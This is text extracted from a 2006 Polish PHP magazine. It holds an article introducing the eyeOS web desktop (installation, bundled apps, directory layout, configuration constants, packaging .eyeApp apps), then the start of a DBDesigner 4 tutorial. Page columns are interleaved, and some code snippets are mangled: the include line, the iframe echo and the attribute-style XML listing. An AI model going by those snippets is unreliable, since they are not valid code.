Po zainstalowaniu eyeOS (patrz Ramka Instalacja), np. w katalogu localhost/eyeos/, uruchamia się go poprzez wprowadzenie podstawowego URL w przeglądarce internetowej. Wyświetli się ekran logowania, na którym można też wybrać język interfejsu. Po zalogowaniu zobaczymy ekran z ładną tapetą. U góry okna znajduje się belka aplikacji (oficjalnie zwana dokiem aplikacji) z ikonami: można tu wybrać jedną z wbudowanych aplikacji, które omówimy później, lub dodać nową za pomocą pomarańczowej ikony ze znakiem + po prawej. W dolnym le-

Kliknijmy w znajdującą się na belce aplikacji ikonę z koncentrycznymi kręgami. Pojawi się okno aplikacji eyeHome, odpowiednika Mojego Komputera w MS Windows (Rysunek 1). Jak widać, jest ono podzielone na dwa panele: lewy zatytułowany Actions i prawy bez podpisu.

Co należy wiedzieć...

Powinieneś znać podstawy obsługi środowisk graficznych.

Co obiecujemy...

Po przeczytaniu artykułu będziesz wiedział jak uruchomić i wykorzystać własny system eyeOS.

36

www.phpsolmag.org

PHP Solutions Nr 3/2006

eyeOS – system operacyjny w PHP

Narzędzia

Rysunek 1. eyeHome – centralne miejsce systemu eyeOS Po lewej stronie można dodać nowy dokument lub kontakt, wysłać wiadomość do wybranego użytkownika albo zainstalować nową aplikację, czy przeczytać własną pocztę. Prawy panel pokazuje zawartość katalogu domowego (pliki). Trzy ikony przy każdym pliku umożliwiają ich otwieranie, pobieranie do lokalnego komputera oraz kasowanie. eyeOS pozwala także umieszczać własne pliki w katalogu domowym systemu. Usunięte pliki są przenoszone do kosza, tak samo jak w MS Windows czy KDE. Jeśli umieścimy coś w koszu, jego ikona zmieni kolor. Zajmijmy się teraz oknami. Można je dowolnie przemieszczać na ekranie. RobiListing 1. Zawartość pliku proprietats.xml – podstawowe parametry aplikacji SampleApp.eyeApp
<?xml version="1.0"?> <SampleApp> <title>Sample App</title> <version>v. 1.0</version> <author>Pau Garcia-Milà</author> <window> <height>700</height> <width>575</width> <resize>no</resize> <fullscreen>no</fullscreen> <x_pos>-1</x_pos> <y_pos>-1</y_pos> </window> <state /> </SampleApp>

my to klikając dolną krawędź okna lub jego górną część (belkę tytułową) i przeciągając je. Jest to funkcjonalność niespotykana dotąd w aplikacjach PHP. Inną nowością jest fakt, że te same czynności wykonane na dolnym prawym rogu okna pozwalają swobodnie zmieniać jego rozmiar (jeżeli widoczna jest ikona zmiany rozmiaru). Trzy przyciski w górnym prawym rogu służą odpowiednio do minimalizacji, otwierania w trybie pełnoekranowym oraz zamknięcia okna. Operacje te są dostępne dla wszystkich okien, chyba że uniemożliwili je twórcy aplikacji. Zwróćmy też uwagę na dok aplikacji i podświetloną ikonę katalogu eyeHome. To samo dotyczy wszystkich otwartych programów systemu. Aplikacja eyeOS może działać w trzech trybach: normalnym oknie, pełnym ekranie lub w trybie minimalizacji. Ikona w doku aplikacji zostanie odpowiednio podświetlona. Od wersji 0.8.x systemu eyeOS wprowadzono także możliwość jednoczesnego uruchamiania wielu aplikacji, przy zachowaniu możliwości ich minimalizowania.

miaru, stylu (pogrubiony, kursywa, podkreślony), wyjustowanie tekstu, a także wprowadzanie list uporządkowanych i nieuporządkowanych, linii poziomych, tabel, rysunków itd. Choć nie jest to pierwszy edytor WYSIWYG w historii PHP (istnieje już np. FCK), może on służyć jako przykład możliwości eyeOS. Jeśli chcemy ukryć edytor, wystarczy kliknąć pierwszą ikonę w prawym górnym rogu okna. Ikona aplikacji pojawi się w dolnym lewym rogu ekranu, w doku zminimalizowanych aplikacji, gdzie znajdują się ikony wszystkich ukrytych działających programów. Po najechaniu na nie kursorem wyświetli się nazwa każdej aplikacji, a kliknięcie przywróci okno wraz z zawartością na ekran. Kliknięcie w okno eyeHome umieszczone za oknem edytora spowoduje przeniesienie go na pierwszy plan – tak, jak w innych graficznych systemach operacyjnych. Tekst można również zapisać w katalogu domowym w celu późniejszej edycji.

Inne wbudowane aplikacje

Oczywiście wbudowane aplikacje to nie tylko eyeHome i eyeEdit. Sprawdźmy inne programy wyświetlone w doku aplikacji: • • eyeCalendar – menedżer harmonogramów i notatek, eyePhones – menedżer kontaktów umożliwiający dodawanie szczegółowych informacji o osobach lub firmach, eyeCalc – kalkulator, eyeMessages – systemowa usługa przesyłania wiadomości przypominająca lokalną pocztę elektroniczną lub funkcję prywatnych wiadomości na forach dyskusyjnych, eyeBoard – tablica ogłoszeń, eyeNav – przeglądarka internetowa,

• •

• •

Edycja tekstu w eyeOS

Przyjrzyjmy się bliżej wbudowanym w system aplikacjom. Po kliknięciu New Document w oknie, które opisywaliśmy, lub w drugą ikonę w doku aplikacji u góry ekranu pojawi się edytor tekstu WYSIWYG (Rysunek 3). Umożliwia on wybranie kilku krojów czcionek i ustawienie ich roz-

Rysunek 2. Działający pulpit eyeOS

PHP Solutions Nr 3/2006

www.phpsolmag.org

37

Narzędzia


eyeOS – system operacyjny w PHP





eyeOptions – narzędzie do konfiguracji systemu; umożliwia zmianę tapety i motywu, ustawienie hasła i hosta eyeOS oraz dodawanie i usuwanie kont użytkowników (Rysunek 4), eyeInfo – informacje o twórcach eyeOS, otwartych aplikacjach oraz używanych wersjach systemu operacyjnego i PHP, eyeApps – menedżer aplikacji (pomarańczowa ikona ze znakiem +).

eyeNav to prawdziwa przeglądarka działająca w oknie przeglądarki, pozwalająca poruszać się po zasobach WWW. Można w niej nawet otworzyć kolejną sesję eyeOS – razem z kalkulatorem uruchomionym wewnątrz zagnieżdżonego okna eyeOS (Rysunek 5).

Instalacja i usuwanie aplikacji

Rysunek 3. eyeEdit, edytor WYSIWYG napisany w PHP

Spróbujmy zainstalować nowe aplikacje. Służy do tego, jak już wiemy, eyeApps (od eyeOS w wersji 0.8.x). Najpierw jednak należy pobrać ze strony http://eyeapps.org odpowiednie pliki, które są podzielone na kilka kategorii: Games (gry 2D i 3D, zwykle napisane w języku Java), Multimedia (odtwarzacze), Office (arkusze kalkulacyjne, programy graficzne itd.), Widgets oraz Internet (aplikacje siecowe, na przykład systemy chat).

Gra muzyka

Zainstalujemy odtwarzacz muzyczny z kategorii Multimedia o nazwie eyeAmp, któ-

ry przypomina nieco programy Winamp i XMMS. Wszystkie pakiety aplikacji dla systemu eyeOS mają rozszerzenie .eyeApp.tar.gz. Spróbujmy zatem zainstalować pakiet eyeAmp.eyeApp.tar.gz.. Pobieramy go i uruchamiamy eyeApps (Rysunek 6), które udostępnia dwie opcje: Manage Apps oraz Install Apps. Wybieramy oczywiście drugą z nich, klikamy przycisk Browse i wybieramy plik. Następnie możemy zdecydować, czy aplikacja będzie dostępna dla wszystkich użytkowników, czy też wyłącznie dla aktualnego użytkownika. Po kliknięciu strzałki aplikacja zostanie rozpakowana i zainstalowana. Jeśli wybraliśmy instalację w try-

Wymagania

eyeOS wymaga serwera WWW z obsługą PHP. Zalecamy używanie systemów Linux/Un*x z serwerem Apache 1.3.x lub 2.0.x oraz PHP 4.3.x albo 5.0.x. Działa on głównie w oparciu o pliki i nie wymaga bazy danych. Konieczna jest jednak możliwość wysyłania plików i katalogów na serwer oraz posiadanie praw pozwalających na zmianę uprawnień do katalogów. Przeglądarka musi być zgodna ze standardami, a także obsługiwać CSS. Mechanizm graficzny eyeOS stosuje pliki PNG z kanałem alfa - aby optymalnie wykorzystać system, przeglądarka powinna je obsługiwać.

Instalacja

Pobieramy najnowszą wersję systemu eyeOS ze strony http://www.eyeos.org. Jest ona obecnie dostępna w dwóch formatach plików: .tar.gz z kodem źródłowym i .exe z wersją MiniServer dla Windows. Pakiet eyeOS MiniServer zawiera miniaturową wersję serwera Apache dla Windows oraz zmodyfikowaną przeglądarkę Firefox. Wersja .tar.gz również ma instalator: wystarczy rozpakować eyeOS do folderu w publicznym katalogu WWW i otworzyć w przeglądarce odpowiedni adres. Instalator zapyta o wybór języka (dostępnych jest kilka wersji, m.in. angielska, polska, niemiecka, francuska i włoska) oraz o hasło (z potwierdzeniem) użytkownika root. Po kliknięciu odnośnika Advanced Security Parameters (zaawansowane parametry zabezpieczeń) można ustawić między innymi takie opcje, jak nazwa użytkownika-administratora (domyślnie root), katalog domowy (domyślnie home, a także katalogi, w których będą przechowywane wiadomości przychodzące, notatki i aplikacje. Po potwierdzeniu instalacji system będzie gotowy do użytku.

bie systemowym (dla wszystkich użytkowników), pliki zostaną umieszczone w folderze etc/apps/eyeAmp; w przeciwnym wypadku znajdą się w katalogu użytkownika (usr/root/apps/eyeAmp). Instalacja jest zakończona, jednak zapewne warto byłoby umieścić ikonę eyeAmp na ekranie. Nie jest to problemem – jedynym ograniczeniem jest fakt, że maksymalna liczba widocznych ikon wynosi 10. Trzeba więc ponownie uruchomić eyeApps, wybrać opcję Manage apps i ukryć ikonę innej aplikacji. (na przykład eyeBoard) przez jej odznaczenie na liście. Następnie trzeba aktywować ikonę eyeAmp, kliknąć opcję Update the configuration pod listą aplikacji i zamknąć okno. Spróbujmy uruchomić eyeAmp. Aplikacja odtwarza muzykę w formacie MP3, jednak pliki dźwiękowe muszą być umieszczone w katalogu domowym systemu eyeOS (np. /home/root) ręcznie lub za pomocą funkcji wysyłania plików aplikacji eyeHome. Umieśćmy w katalogu domowym kilka plików i odtwórzmy je (Rysunek 7). To naprawdę działa! Usuwanie aplikacji jest również bardzo łatwe. Po uruchomieniu eyeApps i wybraniu opcji Manage Apps klikamy ikonę usuwania (zielony X) po prawej stronie aplikacji, którą chcemy odinstalować, a następnie potwierdzamy wybór. Proces deinstalacji odbywa się automatycznie – aplikacja nie zostawi żadnych plików – śmieci na serwerze. Nie można jednak usunąć aplikacji wbudowanych, takich jak eyeCalc.

38

www.phpsolmag.org

PHP Solutions Nr 3/2006

eyeOS – system operacyjny w PHP
System plików eyeOS

Narzędzia

Przyjrzyjmy się bliżej strukturze systemu eyeOS. Za pomocą dowolnego menedżera plików lub polecenia systemowego (ls w *niksach, dir w DOS/ Windows) można przeglądać system plików eyeOS, złożony z następujących katalogów: • • • • apps – wbudowane aplikacje, Docs – dokumentacja systemu, etc – aplikacje systemowe, motywy i inne ustawienias, home – katalogi z danymi użytkowników (tak jak w Linuksie), np. root; umieszczane są w nich pliki wysłane za pomocą eyeHome, system – właściwy system, łącznie z podstawowymi narzędziami do instalacji i konfiguracji oraz motywami graficznymi, usr – kolejny katalog na foldery domowe (takie jak root), w którym przechowywane są nowo zainstalowane aplikacje (poza wbudowanymi) dla pojedynczych użytkowników, wiadomości przychodzące, książka telefoniczna i wpisy kalendarza, notatki, a także osobisty kosz.





Rysunek 4. eyeOptions, panel konfiguracyjny eyeOS

Jak widać, system plików eyeOS jest dość zaawansowany, a przy okazji dobrze rozplanowany. Przypomina nieco linuksową lub *niksową hierarchię katalogów.

• • • • • • •

Rdzeń eyeOS

W katalogu głównym znajdują się również trzy pliki: index.php (strona główna), desktop.php i sysdefs.php.

Historia i rozwój systemu eyeOS

Projekt eyeOS powstał we wrześniu 2004 r. jako pomysł na stworzenie webowego systemu operacyjnego. Wersja alfa została wydana 1 sierpnia 2005 r. Od tego czasu projekt niezwykle się rozwinął. Aktualna wersja 0.8.10 zbliża projekt zwany przez członków zespołu Web Desktop Environment do pełnego wykorzystania możliwości technologii AJAX. Następna wersja eyeOS będzie całkowicie oparta na tej technologii (pisaliśmy o AJAX w artykułach „AJAX – wyjątkowo interaktywne i wydajne aplikacje WWW” oraz „advAJAX, czyli praktyczne zastosowanie technologii AJAX” w numerze 1/2006 magazynu PHP Solutions), co pozwoli na znaczne zwiększenie wydajności systemu (np. uniknięcie ponownego ładowania całego pulpitu, co ma miejsce choćby podczas zmiany używanej aplikacji). Następne wydanie eyeOS będzie dodatkowo zawierać kompletne API do tworzenia aplikacji. Zespół eyeOS jest w trakcie przygotowywania odpowiedniej dokumentacji.

Zapoznajmy się bliżej z innymi funkcjami, ukrytymi głęboko w systemie eyeOS. Jego rdzeń (część główna) został napisany w PHP, ale już sam interfejs jest realizowany przez kod HTML, który generuje kod stworzony w PHP. Na wszystkich stronach do zarządzania funkcjami okien eyeOS wykorzystywany jest JavaScript. Wszystkie dane rdzenia eyeOS są przechowywane w strukturze XML. SYstem eyeOS ma własne funkcje XML, ponieważ obsługa XML (a dokładnie simpleXML) jest dostępna tylko w najnowszej serii – PHP5, a twórcy XML chcieli także zapewnić obsługę XML przez PHP4. Znaczniki te są dostosowane do eyeOS, jednak nie nadają się do ogólnych zastosowań. Jak już wiemy, podstawowe definicje systemu są przechowywane w pliku sysdefs.php, który znajduje się w katalogu głównym eyeOS. Są to stałe zdefiniowane za pomocą wyrażenia define(). Ich domyślne wartości są następujące: • • – nazwa pliku z parametrami systemu, (etc/system.php) BBOARD – plik forum dyskusyjnego (etc/taulell.php),
SYSINFO

– katalog z wszystkimi plikami użytkownika, (home) USRDIR – katalog z plikami kontrolnymi użytkownika (usr), ROOTUSR – nazwa użytkownika root (root), USRINFO – nazwa pliku z parametrami użytkowników (usrinfo.php), MSGDIR – nazwa katalogu z wiadomosciami (Inbox), NOTEDIR – nazwa katalogu z notatkami (eyeEdit,) SYSAPPS – nazwa katalogu z zainstalowanymi aplikacjami ogólnosystemowymi (etc/apps/),
HOMEDIR

W tym samym pliku znajdują się także ustawienia systemu okien: • • • • • • – wysokość (200), – szerokość (350), WINDOW_START, WINDOW_INC – pozycje zmiennych okien (60, 40), SYSFMT_DATE – format daty systemowej (d/m/Y = dzień/miesiąc/rok), SYSFMT_TIME – format czasu systemowego (H:i = godzina:minuta), MAXICONS – maksymalna liczba ikon (11).
WINDOW_HEIGHT WINDOW_WIDTH

Pulpit eyeOS, podobnie jak pulpit w tradycyjnych systemach, można całkowicie dostosować do indywidualnych potrzeb, od ekranu logowania po menedżer okien. Taka elastyczność pozwala użytkownikom tworzyć własny pulpit, zgodny z wymaganą funkcjonalnością i osobistymi preferencjami.

PHP Solutions Nr 3/2006

www.phpsolmag.org

39

Narzędzia

eyeOS – system operacyjny w PHP
Przykładowa aplikacja SampleApp. eyeApp powinna zawierać plik propietats.xml w takiej postaci, jaką przedstawiono na Listingu 1. W rzeczywistości wszystkie te informacje są opcjonalne, ponieważ system użyje wartości domyślnych dla wszystkich niezdefiniowanych pól – konieczne jest tylko, aby plik ten istniał. Niektóre ogólne cechy plików XML systemu eyeOS są następujące: • Wartości atrybutów muszą być podawane w pojedynczych lub podwójnych cudzysłowach, w przeciwnym wypadku zostaną zignorowane. Niepoprawne dane wejściowe są odrzucane bez komentarza. eyeOS nie rozróżnia wielkich i małych liter w nazwach znaczników, ale parser dopasuje znaczniki otwierające do zamykających wyłącznie wtedy, gdy będą identyczne. Znaczniki i atrybuty są traktowane jednakowo – kod z Listingu 1 może również wyglądać następująco:

• •

Rysunek 5. Okno przeglądarki z kalkulatorem umieszczone w innym oknie przeglądarki

Tworzenie własnych pakietów aplikacji eyeOS



applic.php – kod aplikacji (plik główny; inne pliki są również dozwolone). •

Proces tworzenia pakietu instalacyjnego z nową aplikacją (eyeApp) jest całkiem prosty. Wystarczy tylko umieścić pliki w katalogu o nazwie NAZWAAPLIKACJI. eyeApp i skompresować go w pliku .tar.gz o nazwie w formacie NAZWAAPLIKACJI. eyeApp.tar.gz. Jednak przed kompresją katalogu musimy umieścić w nim podstawowe pliki aplikacji eyeOS. Każda aplikacja wymaga obecności pięciu plików: • ico_a.png – ikona minimalizacji; pojawia się w belce zminimalizowanych aplikacji. Aby móc tworzyć ikony zgodne z domyślnym motywem ikon eyeOS, należy pobrać ze strony projektu (http://www.eyeos.org/docs/ eyeOS_Icon.xcf) plik .xcf do obróbki w programie Gimp, zawierający wszystkie potrzebne warstwy. ico_b.png – ikona aktywnej aplikacji; grafika ta jest wyświetlana na belce ikon. Podczas tworzenia tej ikony zalecamy stosowanie wyższych wartości alfa niż w przypadku ico_c.png, co pozwoli odróżnić aplikację aktywną od nieaktywnej. ico_c.png – ikona aplikacji nieaktywnej, wyświetlana w doku aplikacji. Zalecamy wartość alfa 50%. propietats.xml – parametry związane z określoną aplikacją, które omówimy później.

Wszystkie wymienione pliki są konieczne, aby aplikacja została rozpoznana przez eyeOS.

Ustawianie najważniejszych parametrów aplikacji

<Sample title='Sample App' version='v. 1.0' author='Pau Garcia-Milà'> <window height='700' width='575' noresize='1' nofullscreen='1' x_pos='-1 y_pos='-1' / <state /> </Sample>

Zajmijmy się plikiem propietats.xml. W nim właśnie definiujemy parametry używane przez system podczas tworzenia okna aplikacji. Można go także użyć do podawania kodowi aplikacji danych o parametrach.







Rysunek 6. eyeApps, narzędzie do zarządzania aplikacjami systemu eyeOS

40

www.phpsolmag.org

PHP Solutions Nr 3/2006

eyeOS – system operacyjny w PHP

Narzędzia

obiektu iframe, należy umieścić w kodzie następujące wiersze:
echo "<iframe src='".$appinfo['appdir']. "NAZWASTRONY.htm'" style='width: XXpx; height: YYpx' frameborder='0'> </iframe>";

Oczywiście NAZWASTRONY musi być zamieniona na nazwę pliku HTML, który ma być umieszczony, XX należy zastąpić szerokością obiektu iframe, a YY jego wysokością (oba wymiary powinny być o kilka pikseli mniejsze od rozmiaru okna). Aby zakończyć tworzenie pakietu, wystarczy skompresować do pliku .tar.gz pięć plików aplikacji (razem z dodatkowymi plikami, jeśli istnieją) umieszczonych w katalogu NAZWAAPLIKACJI.eyeApp.
Rysunek 7. eyeAmp – odtwarzacz MP3

Podsumowanie
• Znaczniki definiujące pozycję w pionie i poziomie (x-pos i y-pos) mogą być użyte do poprawienia początkowej pozycji okna. Domyślne wartości -1 znaczników x-pos i y-pos powodują, że okno jest otwierane przy górnej lewej krawędzi ekranu, zaś kolejne okna bez ustawionej pozycji są otwierane w stałej odległości od poprzednich.















Plik The propietats.xml jest ładowany wyłącznie podczas startu aplikacji. Dodatkowo jeżeli USRDIR aktualnego użytkownika zawiera plik XML o nazwie takej samej, jak nazwa aplikacji, to jest on również odczytywany i dodawany do danych aplikacji. Jeśli obiekty się dublują, pierwszeństwo ma wersja USR. Nazwa głównego znacznika w zasadzie nie jest używana, warto jednak zdefiniować nazwę aplikacji, dzięki czemu będzie wiadomo, jaka aplikacja jest definiowana. Należy zwrócić uwagę, że w danych aplikacji USR nazwa główna musi być taka sama, jak w pliku propietats.xml. Informacje są zapisywane w wewnętrznej strukturze eyeOS, appinfo, do czasu zakończenia działania aplikacji. Tytuł jest opcjonalny. Jeżeli jest określony i nie jest pusty, zastępuje nazwę aplikacji wyświetlaną u góry okna. Wartość pola informacji o wersji (jeśli zdefiniowana) jest dodawana do tytułu okna. Podstruktura okna definiuje jego atrybuty. Zwykle wymagane są wysokość i szerokość, ale jeśli jednej z wartości brakuje, ustawiane są domyślne wartości systemowe (podane w sysdefs.php). Jeśli atrybut zmiany rozmiaru nie jest pusty, zaleca się stosowanie wartości 'no'. Jeśli atrybut pełnego ekranu nie jest pusty, zaleca się stosowanie wartości 'no'.



Kompletna struktura aplikacji jest określona w pliku applic.php. Plik powinien rozpoczynać się od wyrażenia
if (!defined ('USR')) return;

Udowodniliśmy, że eyeOS wnosi nową jakość graficznego interfejsu użytkownika do świata PHP. Odtwarzacze multimediów, edytory tekstu, chaty, fora dyskusyjne, aplikacje CMS, ERP czy CRM – nie ma takiej aplikacji PHP, której nie dałoby się przekonwertować do systemu eyeOS. W ciągu najbliższych kilku lat pojawą się tysiące aplikacji wykorzystujących eyeOS, biorąc pod uwagę fakt, że pracuje nad tym aktywna i dobrze zorganizowana wspólnota eyeOS. Precz z przestarzałymi, topornymi, niewygodnymi i niewydajnymi interfejsami webowymi. Niech żyje rewolucja PHP/eyeOS! W następnym numerze zbudujemy aplikację dla eyeOS, przy okazji pokazując mechanizmy rządzące systemem. n

Dane systemowe oraz dane konkretnych aplikacji są podawane jako zmienne globalne. Pierwszą zmienną jest $appinfo[] – tablica zawierająca dane aplikacji i systemowe, pobierane głównie z pliku propietats.xml. Na przykład appdir określa katalog z plikami aplikacji. Jest ona później używana do inkluzji innych plików PHP z katalogu aplikacji:
include E';, $appinfo['appdir'].'CODEFIL

O autorach
Steven Mautone rozpoczął swoją pracę z Internetem od tworzenia serwisów dla małych firm. Obecnie kończy pracę magisterską na Indiana University. Steven jest business managerem projektu eyeOS, dba o ekspansję systemu eyeOS. Pau Garcia-Milà od wielu lat tworzy portale internetowe. Jeden z nich, www.pamtomaket.com, otrzymał wsparcie od rządu Catalonii i posiada około 1400 użytkowników. Pau studiuje obecnie Nauki Komputerowe na Politechnice Uniwesytetu Calatonii (upc.edu). Jest głównym deweloperem projektu eyeOS, skupia się na rozwijaniu rdzenia systemu. Kontakt z autorami: [email protected]

gdzie CODEFILE jest nazwą tego pliku. Zauważmy, że jeżeli strona zawiera nagłówki HTML (<html><head>...</head>...) lub wymaga plików CSS, powinna ona być umieszczona jako obiekt iframe – w przeciwnym razie system zarządzania oknami eyeOS zostanie uszkodzony. Aby użyć

PHP Solutions Nr 3/2006

www.phpsolmag.org

41

Narzędzia

DBDesigner 4 – odpowiednik Oracle Designera
Pierre HEBEL

Stopień trudności: lll

Poprawne modelowanie danych jest gwarancją (tak jak przemyślane programowanie) skuteczności podczas formuowania zapytań do Waszej bazy danych. DBDesigner 4 pozwala, szczególnie na dużych strukturach danych, mieć globalny, graficzny i bardzo precyzyjny widok organizacji danych na jakich pracujemy.

D
W SIECI
1. http://www.fabforce.net – oficjalna strona DBDesigner 4 2. http://dev.mysql.com/techresources/interviews/mikezinner.html – wywiad (po angielsku) z Michaelem G. Zinnerem, twórcą DBD4. 3. http://www.fabforce.net/ downloads.php – wersje dystrybucyjne DBDesignera 4

BDesigner jest narzędziem graficznym, które wspomaga analizę istniejącej bazy danych lub koncepcji nowej i współpracuje z PHP i MySQL-em. Pokażemy to na konkretnym, z życia wziętym przykładzie: przenoszeniu danych ze starego systemu bazodanowego.

umożliwia import takich plików, a także pomoże nam w zaprojektowaniu bazy w MySQL-u oraz włączeniu do niej struktury istniejących danych.

Interfejs użytkownika

Problematyka

DBDesigner 4 ma wygodny w obsłudze, intuicyjny interfejs okienkowy, pozwalający na szybkie zaznajomienie się z aplikacją. Przedstawiamy go na

Pewne przedsiębiorstwo aktualizuje swoje oprogramowanie bazodanowe, które zostało napisane w Cobolu i działa na maszynach typu Mainframe. Zmiana będzie polegała na zastąpieniu starych aplikacji nowymi przy zachowaniu danych oraz ich struktury. Nie wiemy jeszcze, jakich konkretnie aplikacji będziemy używali, poza tym, że obsługą naszych danych zajmie się MySQL. Przeniesiemy więc dane w postaci integralnej ze starych baz do MySQL-a, korzystając z plików CSV oraz XML. Użyjemy w tym celu narzędzia, które

Co należy wiedzieć...

Wymagana jest podstawowa umiejętność pracy z PHP i MySQL-em. Przydatna będzie również choćby minimalna wiedza teoretyczna na temat relacyjnych baz danych.

Co obiecujemy...

Pokażemy, jak przy użyciu DBDesignera stworzyć model bazy danych i uczynić z niego działającą bazę, do której będziemy przenosili dane z baz istniejących, a także jak w prosty sposób generować kod PHP odpowiedzialny za obsługę tej bazy.

42

www.phpsolmag.org

PHP Solutions Nr 3/2006

DBDesigner 4

Narzędzia

Rysunek 1. DBDesigner 4 GUI
Rysunku 1, przy czym naniesione numery oznaczają odpowiednio: 1. Menu główne: udostępnia komplet funkcji, parametrów i zasobów DBDesignera 4. 2. Pasek narzędzi: bezpośredni dostęp do funkcji modelowania graficznego (ikony). 3. Pasek statusu: informuje o aktualnym stanie wykonywanej pracy. 4. Strefa modelowania graficznego: tu znajduje się model graficzny bazy danych jest to główne atelier graficzne, pozwalające na łatwe modelowanie bazy danych. 5. Reprezentacja graficzna przykładowej tablicy bazodanowej. 6. Panel nawigacyjny: plan modelu graficznego bazy danych, umożliwiający wybranie jego konkretnego fragmentu oraz jego pomniejszanie i powiększanie. 7. Panel typów danych: pomaga w tworzeniu nowych oraz określaniu istniejących typów danych (w tym ich przypisywaniu do grup). 8 Panel modelu bazy danych: umożliwia szybki dostęp do wszystkich tabel danego modelu.

Tworzenie tabeli

Czas na modelowanie

Następna czynność, która nas czeka to modelowanie. Aby się za nie zabrać, otworzymy plan pracy i zapiszemy nowy model poprzez wejście do menu głównego: Plik -> Nowy oraz Plik -> Zapisz jako... W tym momencie możemy wybrać miejsce w którym zapiszemy nasz plik (domyślnie jest nim folder instalacyjny DBDesignera). Plik naszego modelu będzie nosił nazwę MCDTEST i zostanie zachowany w formacie XML, co umożliwi jego łatwe wykorzystanie przez inne aplikacje.

Aby utworzyć strukturę nowej tabeli, klikamy ikonę Nowa tabela na pasku zadań, a następnie umieszczamy ją w obszarze roboczym. Przejdźmy teraz do edycji tabeli: w tym celu klikamy na niej kilkakrotnie lub otwieramy menu kontekstowe prawym przyciskiem myszy i wybieramy opcję Edytuj obiekt. Czas określić parametry tabeli. Zaczniemy od zmiany nazwy z Table_nn (nn – numer tabeli, np. 01) na Ident_agent. Gdy przejdziemy do do listy kolumn w tym samym oknie, program automatycznie utworzy pierwszą kolumnę i uczyni ją kluczem głównym, a także określi wszystkie jej parametry, takie jak typ danych, NOT NULL (kolumna NN) czy AUTO INCREMENT (kol. AI). Dwie ostatnie pozycje będą zaznaczone, co jest normalne w przypadku klucza głównego. Przejdźmy do utworzenia następujących pól: Nazwisko, Imie, Data_

PHP Solutions Nr 3/2006

www.phpsolmag.org

43

Narzędzia
urodzenia.

DBDesigner 4

Typ danych każdego pola możemy wybrać z listy proponowanych, albo przeciągnąć z panelu Typy danych (Rysunek 1, nr 7). Dla nazwiska i imienia wybieramy typ VARCHAR – ustalamy jego długość, np. na 45 i 30, podczas gdy pole data_urodzenia będzie miało typ DATE. Jeżeli chcemy określić wybrane pola jako obowiązkowe, musimy zaznaczyć dla nich kolumnę NN. Dodatkowo, dla każdego pola możemy ustalić flagi (flags) związane z reprezentowaniem danych w tabeli. Dany atrybut może być nieoznakowany (UNSIGNED), binarny (BINARY) oraz domyślnie wypełniany zerami (ZEROFILL). Możliwość ustalania flag zależy od typu pola, np. DATE nie ma żadnych, INTEGER ma UNSIGNED i ZEROFILL, a VARCHAR – BINARY. Każdemu polu możemy też nadać wartość domyślną czy przypisać komentarz – to ostatnie przydaje się podczas późniejszych analiz. Wypełniony zestaw pól prezentujemy na Rysunku 2. Tabela jest gotowa, możemy (ale nie musimy) zamknąć okno – pola zostaną zapisane. Do naszej tabeli ident_agent dodamy teraz pola zawierające zwrot grzecznościowy (np. Pan, Pani, Panna, Mr., Mrs., itd) oraz miejscowość. Ponieważ są to dane powtarzające się, więc najlepiej stworzyć dla nich dwie osobne tabele:
l

Wymagania

DBDesigner 4 działa pod Windows (wersja 4.0.5.6) oraz Linuksem (wersja 4,0,5,4). Dostępna jest wersja z instalatorem (EXE oraz RPM), a także kod źródłowy (ZIP i TAR.GZ) i dokumentacja (HTML i PDF). Do modelowania baz danych wystarczy instalacja samego DBDesignera. Aby jednak w pełni wykorzystać jego możliwości, potrzebujemy pełnego środowiska *AMP a (PHP+MySQL+Apache lub IIS). DBDesigner 4 jest programem opensourcowym (GNU GPL), a jego kod źródłowy został napisany w Delphi – aby go modyfikować, potrzebujemy Delphi 7 lub Kylixa 3.

Instalacja

Dla wersji pod Windows (2000 lub XP) pobieramy plik DBDesigner4.0.5.6_Setup.exe i uruchamiamy go. Program instalacyjny poprowadzi nas przez resztę instalacji. Dla wersji pod Linuksa pobieramy plik DBDesigner4.0.5.4.tar.gz i umieszczamy go w swoim katalogu domowym. Następnie rozpakowujemy archiwum poleceniem tar xvzf DBDes igner4.0.5.4.tar.gz, po czym przechodzimy do katalogu głównego aplikacji i wykonujemy znajdujący się w nim skrypt startdbd.sh.
C_Miejsce

l

– znajdą się w niej pola: klucz główny (typ INTEGER) oraz nazwa miejscowości (LIB_Miejsce) typu VARCHAR(60).

C_Zwrot

– tabela zwrotów grzecznościowych. Będzie ona zawierała klucz główny (typ INTEGER) oraz krótką etykietę LIB_ZWR_C typu VARCHAR(5) i długą etykietę LIB_ZWR_ L typu VARCHAR(12).

Czas na ustalenie związków między tabelami. Klikamy na ikonę określającą typ relacji jeden do jednego, a następnie na tabelę C_Miejsce, po czym na Ident_ agent (kolejność wyboru relacji ma znaczenie zasadnicze): relacja między tabelami zostanie utworzona, a w tabeli Ident_agent pojawi się klucz obcy oznaczony symbolem FK (od Foreign Key) o nazwie C_Miejsce_FKIndex1, zawierający pole C_Miejsce_idC_Miejsce. Uzyskana relacja ma nazwę Rel_nn (nn to kolejny numer) – zmienimy ją klikając na niej dwukrotnie i wpisując nazwę R_MiejsceUrodzenia. Poprawimy też wygląd tabeli Ident_agent przesuwając klucz obcy (FK) na miejsce w tabeli, które wydaje nam się najbardziej logiczne: zaraz po dacie urodzenia. W tym ce-

lu po prostu przeciągniemy go do góry w trybie edycji tabeli. Zamkniemy teraz okno zatwierdzając zmiany. Warto również zapisać stan aktualnej pracy ([CTRL]+[S]). Analogicznie jak z tabelą miejscowości postępujemy w przypadku zwrotów grzecznościowych. Nasz graficzny model danych jest gotowy (Rysunek 3).

Upiększamy i porządkujemy model graficzny

W miarę rozrostu modelu graficznego naszej bazy danych, konieczne staje się uporządkowanie tabel oraz relacji w modelu oraz ich logiczny podział na bloki. DBDesigner ułatwia nam wybieranie wielu obiektów na raz – wystarczy przytrzymać klawisz [CTRL]. Wzrokowe odróżnianie bloków tabel ułatwiają obszary (ang. regions) – prostokąty wyróżniające się nazwą i kolorem tła, wewnątrz których będą się znajdowały obiekty. Aby dodać obszar, klikamy ikonę Nowy obszar w pasku narzędzi, po czym rozciągamy prostokąt w obszarze roboczym. Dwukrotne kliknięcie na tak umieszczonym obszarze umożliwi nam nadanie mu parametrów takich, jak nazwa i kolor. Warto wiedzieć, że rola obszarów nie kończy się na ułatwianiu odróżniania jego zawartości od innych obiektów – pozwala on także ustawiać parametry tabeli, takie jak jej typ (MyISAM, InnoDB, itd), bazę, do której należą tabele znajdujące się w obszarze oraz umieszczać komentarz. Opisywanie i upiększanie modelu danych jest możliwe również przez:
l

